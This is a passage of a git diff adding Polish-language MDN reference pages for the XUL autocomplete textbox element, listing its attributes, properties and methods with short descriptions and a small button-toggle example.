href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl>
+ <dt>
+ <span id="m-getSearchAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSearchAt">getSearchAt( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwraca komponent szukania z danym indeksem. Komponenty są ustawiane z atrybutem <code id="a-autocompletesearch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearch">autocompletesearch</a></code>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-onSearchComplete"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/onSearchComplete">onSearchComplete()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wywołuje uchwyt zdarzenia <code id="a-onsearchcomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onsearchcomplete">onsearchcomplete</a></code>. Nie powinieneś wywoływać tej metody samej w sobie.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-onTextEntered"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/onTextEntered">onTextEntered()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ rezultat zdarzenia</i>
+ </dd>
+ <dd>
+ Wywołujemy uchwyt zdarzenia <code id="a-ontextentered"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextentered">ontextentered</a></code>. Nie powinieneś wywoływać tej metody samej w sobie.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-onTextReverted"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/onTextReverted">onTextReverted()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ rezultat zdarzenia</i>
+ </dd>
+ <dd>
+ Wywołujemy uchwyt zdarzenia <code id="a-ontextreverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextreverted">ontextreverted</a></code>. Nie powinieneś wywoływać tej metody samej w sobie.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-select"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/select">select()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza cały tekst w polu tekstowym.</dd>
+</dl>
+<dl><dt> <span id="m-setSelectionRange"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/setSelectionRange">setSelectionRange( start, end )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ustawia zaznaczoną porcję pola tekstowego, gdzie argumentem początkowym <var>start</var> jest pierwszy zaznaczony znak i argument końcowym <var>end</var> jest indeks znaku po zaznaczeniu. Ustawiając oba argumenty na tę samą wartość, pozwoli nam na przesunięcie kursora do przesłanej pozycji bez zaznaczenia tekstu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIAutoCompleteInput">nsIAutoCompleteInput</a>, <a href="pl/NsIDOMXULMenuListElement">nsIDOMXULMenuListElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/textbox_(mozilla_-_automatyczne_uzupełnianie)/index.html b/files/pl/mozilla/tech/xul/textbox_(mozilla_-_automatyczne_uzupełnianie)/index.html
new file mode 100644
index 0000000000..8572f04a7e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/textbox_(mozilla_-_automatyczne_uzupełnianie)/index.html
@@ -0,0 +1,936 @@
+---
+title: textbox (Mozilla - automatyczne uzupełnianie)
+slug: Mozilla/Tech/XUL/textbox_(Mozilla_-_automatyczne_uzupełnianie)
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/Textbox_(XPFE_autocomplete)
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest tworzony poprzez ustawienie atrybutu <a href="pl/XUL/Atrybut/textbox.type">type</a> elementu textbox na <code>autocomplete</code>. Jest używany do utworzenia elementu textbox z wyskakującym okienkiem zawierającym listę możliwych uzupełnień tego, co użytkownik zaczął wpisywać.
+</p><p>Funkcjonalność automatycznego uzupełniania jest podtrzymana poprzez jeden lub więcej obiektów sesji, każdy z tych obiektów może zwracać zbiór wyników dla podanej wartości elementu textbox. Sesje mogą być ustawiane za pomocą atrybutu <code id="a-searchSessions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/searchSessions">searchSessions</a></code> lub poprzez wywołanie metody <span id="m-addSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addSession">addSession</a></code></span>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-alwaysopenpopup">alwaysopenpopup</a>, <a href="#a-autoFill">autoFill</a>, <a href="#a-autoFillAfterMatch">autoFillAfterMatch</a>, <a href="#a-crop">crop</a>, <a href="#a-disableAutocomplete">disableAutocomplete</a>, <a href="#a-disabled">disabled</a>, <a href="#a-disablehistory">disablehistory</a>, <a href="#a-focused">focused</a>, <a href="#a-forceComplete">forceComplete</a>, <a href="#a-ignoreBlurWhileSearching">ignoreBlurWhileSearching</a>, <a href="#a-inputtooltiptext">inputtooltiptext</a>, <a href="#a-label">label</a>, <a href="#a-maxlength">maxlength</a>, <a href="#a-maxrows">maxrows</a>, <a href="#a-minResultsForPopup">minResultsForPopup</a>, <a href="#a-nomatch">nomatch</a>, <a href="#a-onerrorcommand">onerrorcommand</a>, <a href="#a-ontextcommand">ontextcommand</a>, <a href="#a-ontextrevert">ontextrevert</a>, <a href="#a-open">open</a>, <a href="#a-searchSessions">searchSessions</a>, <a href="#a-showCommentColumn">showCommentColumn</a>, <a href="#a-showpopup">showpopup</a>, <a href="#a-size">size</a>, <a href="#a-tabScrolling">tabScrolling</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-timeout">timeout</a>, <a href="#a-textbox.type">type</a>, <a href="#a-userAction">userAction</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-alwaysOpenPopup">alwaysOpenPopup</a>, <a href="#p-autoFill">autoFill</a>, <a href="#p-autoFillAfterMatch">autoFillAfterMatch</a>, <a href="#p-crop">crop</a>, <a href="#p-disableAutocomplete">disableAutocomplete</a>, <a href="#p-disabled">disabled</a>, <a href="#p-editable">editable</a>, <a href="#p-focused">focused</a>, <a href="#p-forceComplete">forceComplete</a>, <a href="#p-ignoreBlurWhileSearching">ignoreBlurWhileSearching</a>, <a href="#p-inputField">inputField</a>, <a href="#p-isSearching">isSearching</a>, <a href="#p-isWaiting">isWaiting</a>, <a href="#p-label">label</a>, <a href="#p-maxLength">maxLength</a>, <a href="#p-maxRows">maxRows</a>, <a href="#p-minResultsForPopup">minResultsForPopup</a>, <a href="#p-noMatch">noMatch</a>, <a href="#p-open">open</a>, <a href="#p-resultsPopup">resultsPopup</a>, <a href="#p-searchSessions">searchSessions</a>, <a href="#p-selectionEnd">selectionEnd</a>, <a href="#p-selectionStart">selectionStart</a>, <a href="#p-sessionCount">sessionCount</a>, <a href="#p-showCommentColumn">showCommentColumn</a>, <a href="#p-showPopup">showPopup</a>, <a href="#p-size">size</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-tabScrolling">tabScrolling</a>, <a href="#p-textLength">textLength</a>, <a href="#p-timeout">timeout</a>, <a href="#p-type">type</a>, <a href="#p-userAction">userAction</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-addSession">addSession</a>, <a href="#m-clearResults">clearResults</a>, <a href="#m-getDefaultSession">getDefaultSession</a>, <a href="#m-getResultAt">getResultAt</a>, <a href="#m-getResultCount">getResultCount</a>, <a href="#m-getResultValueAt">getResultValueAt</a>, <a href="#m-getSession">getSession</a>, <a href="#m-getSessionByName">getSessionByName</a>, <a href="#m-getSessionResultAt">getSessionResultAt</a>, <a href="#m-getSessionStatusAt">getSessionStatusAt</a>, <a href="#m-getSessionValueAt">getSessionValueAt</a>, <a href="#m-removeSession">removeSession</a>, <a href="#m-select">select</a>, <a href="#m-setSelectionRange">setSelectionRange</a>, <a href="#m-syncSessions">syncSessions</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-alwaysopenpopup">
+
+<dl><dt> <code id="a-alwaysopenpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/alwaysopenpopup">alwaysopenpopup</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, auto kompletowanie wyskakującego okienka zostanie wyświetlone zdarzenie, kiedy tam nie będzie dopasowany. Jeśli <code>false</code>, domyślna wartością będzie ukrycie okienka wyskakujące.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-autoFill">
+
+<dl>
+ <dt>
+ <code id="a-autofill"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autofill">autofill</a></code> <span class="inlineIndicator standardNote">Nowość w <a href="https://developer.mozilla.org/pl/docs/Mozilla/Thunderbird/Releases/3">Thunderbird 3</a></span> <span class="inlineIndicator standardNote standardNoteInline">Requires SeaMonkey 2.0</span></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Jeśli ustawiony jest na <code>true</code>, najlepsze dopasowanie będzie wybierane w polu tekstowym jako typ użytkownika. Jeśli <code>false</code>, domyślna wartość nie będzie wybrana do momentu aż użytkownik nie zaznaczy pozycji.</dd>
+</dl>
+</div>
+<div id="a-autoFillAfterMatch">
+
+<dl><dt> <code id="a-autoFillAfterMatch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFillAfterMatch">autoFillAfterMatch</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli zwracana jest wartość <code>true</code> cały tekst najlepszego trafienia zostanie wyświetlony na końcu wejścia. Jeśli wartość <code>false</code> tylko wartość, która nie została wyświetlona zostanie wpisana. Atrybut <code id="a-autoFill"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFill">autoFill</a></code> musi zostać ustawiony na wartość <code>true</code>, by móc korzystać z powyższej własności.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disableAutocomplete">
+
+<dl><dt> <code id="a-disableAutocomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableAutocomplete">disableAutocomplete</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, zachowanie automatyczne zostanie wyłączone. Możesz użyć skryptu do zmiany do zmiany tego atrybutu. Jeśli <code>false</code>, domyślnie, autouzupełnianie jest włączone.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-disablehistory">
+
+<dl><dt> <code id="a-disablehistory"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disablehistory">disablehistory</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli atrybut ma wartość <code>false</code>, przycisk ze strzałką wyświetli się na końcu pola tekstowego, które otworzy menu rozwijane wszystkich dostępnych wyników. Domyślna wartością jest <code>true</code>, ukrywające przycisk rozwijania.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-focused">
+
+<dl><dt> <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut jest ustawiony na <code>true</code>, jeśli element jest aktywny (focused).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-forceComplete">
+
+</div>
+<div id="a-ignoreBlurWhileSearching">
+
+<dl><dt> <code id="a-ignoreblurwhilesearching"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreblurwhilesearching">ignoreblurwhilesearching</a></code> </dt><dd> Typ: <em>boolean</em> </dd><dd> Jeśli <code>true</code>, zdarzenia blur są ignorowane podczas szukania, co znaczy, że automatyczne wyskakujące okienka nie znikną. </dd> </dl>
+
+<p></p>
+</div>
+<div id="a-inputtooltiptext">
+
+<dl><dt> <code id="a-inputtooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/inputtooltiptext">inputtooltiptext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst podpowiedzi dla pudełka tekstu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-maxlength">
+
+<dl>
+ <dt>
+ <code id="a-maxlength"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxlength">maxlength</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków, które można wpisać w pole tekstowe.</dd>
+</dl>
+</div>
+<div id="a-maxrows">
+
+<dl>
+ <dt>
+ <code id="a-maxrows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxrows">maxrows</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba wierszy do pokazania na liście rezultatów w czasie. Pasek przewijania będzie wyświetlony więc użytkownik może przewijać poprzez <b>remaining items.</b></dd>
+</dl>
+</div>
+<div id="a-minResultsForPopup">
+
+<dl>
+ <dt>
+ <code id="a-minresultsforpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minresultsforpopup">minresultsforpopup</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Minimalna liczba wyniku, która musi być zwrócona dla wyświetlonego okienka pop-up.</dd>
+</dl>
+</div>
+<div id="a-nomatch">
+
+<dl>
+ <dt>
+ <code id="a-nomatch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/nomatch">nomatch</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ten atrybut będzie ustawiony na <code>true</code>, jeśli ostatni rezultat szukania nie jest dopasowany.</dd>
+</dl>
+</div>
+<div id="a-onerrorcommand">
+
+<dl>
+ <dt>
+ <code id="a-onerrorcommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onerrorcommand">onerrorcommand</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia jest wywołany kiedy ma miejsce błąd, kiedy zaznaczymy wynik z okienka dialogowego.</dd>
+</dl>
+</div>
+<div id="a-ontextcommand">
+
+<dl>
+ <dt>
+ <code id="a-ontextcommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextcommand">ontextcommand</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ Kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzeń jest wywołany kiedy wynik jest zaznaczony w polu tekstowym.</dd>
+</dl>
+</div>
+<div id="a-ontextrevert">
+
+</div>
+<div id="a-open">
+
+<dl><dt> <code id="a-open"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o <code id="a-type"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-searchSessions">
+
+<dl>
+ <dt>
+ <code id="a-searchSessions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/searchSessions">searchSessions</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista nazw sesji rozdzielona spacją</i>
+ </dd>
+ <dd>
+ Ustawia słowo kluczowe sygnalizując jakiego typu dane są szukane dla autouzupełnienia. Możemy ustawić wiele typów poprzez rozdzielenie ich nazw spacją. Następujące wartości są możliwe, mimo że komponenty użytkownika mogą być zainstalowane, które dodają inne.</dd>
+</dl>
+<ul>
+ <li><code>history</code>: Przeszukana jest historia adresów URL użytkownika.</li>
+ <li><code>addrbook</code>: Przeszukana jest książka adresowa użytkownika.</li>
+ <li><code>ldap</code>: Przeszukany jest katalog LDAP użytkownika.</li>
+</ul>
+</div>
+<div id="a-showCommentColumn">
+
+<dl>
+ <dt>
+ <code id="a-showCommentColumn"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showCommentColumn">showCommentColumn</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, kolumna komentarza pojawi się w okienku wyskakującym. Dla historii adresów URL, kolumnę komentarzy będzie stanowić tytuł strony połączony z każdym adresem URL. Jeśli ten atrybut nie jest określony, kolumna komentarza nie pojawi się.</dd>
+</dl>
+</div>
+<div id="a-showpopup">
+
+</div>
+<div id="a-size">
+
+<dl>
+ <dt>
+ <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba znaków, które mogą zostać wyświetlone w polu tekstowym.</dd>
+</dl>
+</div>
+<div id="a-tabScrolling">
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-timeout">
+
+</div>
+<div id="a-textbox.type">
+
+
+<dl>
+ <dt><a href="pl/XUL/Atrybut/textbox.type">type</a></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Możemy ustawić typ tego atrybutu na jedną z poniższych wartości dla bardziej specjalistycznych typów pola tekstowego. Nie ustawiaj tego typu, jeśli chcesz zastosować regularne pole tekstowe.</dd>
+</dl>
+
+<ul>
+ <li><code>autocomplete</code>: Pole tekstowe, które obsługuje auto uzupełnianie. Aby zdobyć więcej informacji na temat autouzupełniania pól tekstowych, przejdź do dokumentacji o autouzupełnianiu (<a href="pl/XUL/textbox_(Mozilla_-_automatyczne_uzupe%c5%82nianie)">Mozilla</a>) (<a href="pl/XUL/textbox_(Firefox_-_automatyczne_uzupe%c5%82nianie)">Firefox</a>)</li>
+ <li><code>number</code>: A textbox that only allows the user to enter numbers. In addition, arrow buttons appear next to the textbox to let the user step through values. There are several attributes that allow the number textbox to be configured, including <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>, <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>, <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>, <code id="a-wraparound"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wraparound">wraparound</a></code>, and <code id="a-hidespinbuttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidespinbuttons">hidespinbuttons</a></code>. </li>
+ <li><code>password</code>: Pole tekstowe, które ukrywa wpisywaną treść, stosowane dla wpisywania haseł w pole tekstowe.</li>
+ <li><code>timed</code>: This textbox will fire a command event after the user types characters and a certain time has passed. The delay is set with the <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code> attribute. You might use this type, for instance, to update information elsewhere in the window as the user types, without the need for continuous updates since the timer will not fire if the user types more keys in the meantime. The command event will also fire if the user presses the Enter key.</li>
+</ul>
+
+
+</div>
+<div id="a-userAction">
+
+<dl>
+ <dt>
+ <code id="a-userAction"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/userAction">userAction</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Ten atrybut ustawia akcje wykonywane aktualnie przez użytkownika. Możliwe wartości:</dd>
+</dl>
+<ul>
+ <li><code>none</code>: Użytkownik nie wchodzi w interakcje z polem tekstowym.</li>
+ <li><code>typing</code>: Użytkownik wypełnia pole tekstowe.</li>
+ <li><code>scrolling</code>: Użytkownik przewija pasek przez pole tekstowe.</li>
+</ul>
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-alwaysOpenPopup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/alwaysOpenPopup">alwaysOpenPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-alwaysopenpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/alwaysopenpopup">alwaysopenpopup</a></code>.</dd>
+</dl></div>
+<div id="p-autoFill">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/autoFill">autoFill</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autoFill"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFill">autoFill</a></code>.</dd>
+</dl></div>
+<div id="p-autoFillAfterMatch">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/autoFillAfterMatch">autoFillAfterMatch</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autoFillAfterMatch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFillAfterMatch">autoFillAfterMatch</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-disableAutocomplete">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disableAutoComplete">disableAutoComplete</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disableautocomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableautocomplete">disableautocomplete</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-editable">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/editable">editable</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pola automatycznie uzupełniane są edytowalne, więc ta własność zwróci <code>true</code>.</dd>
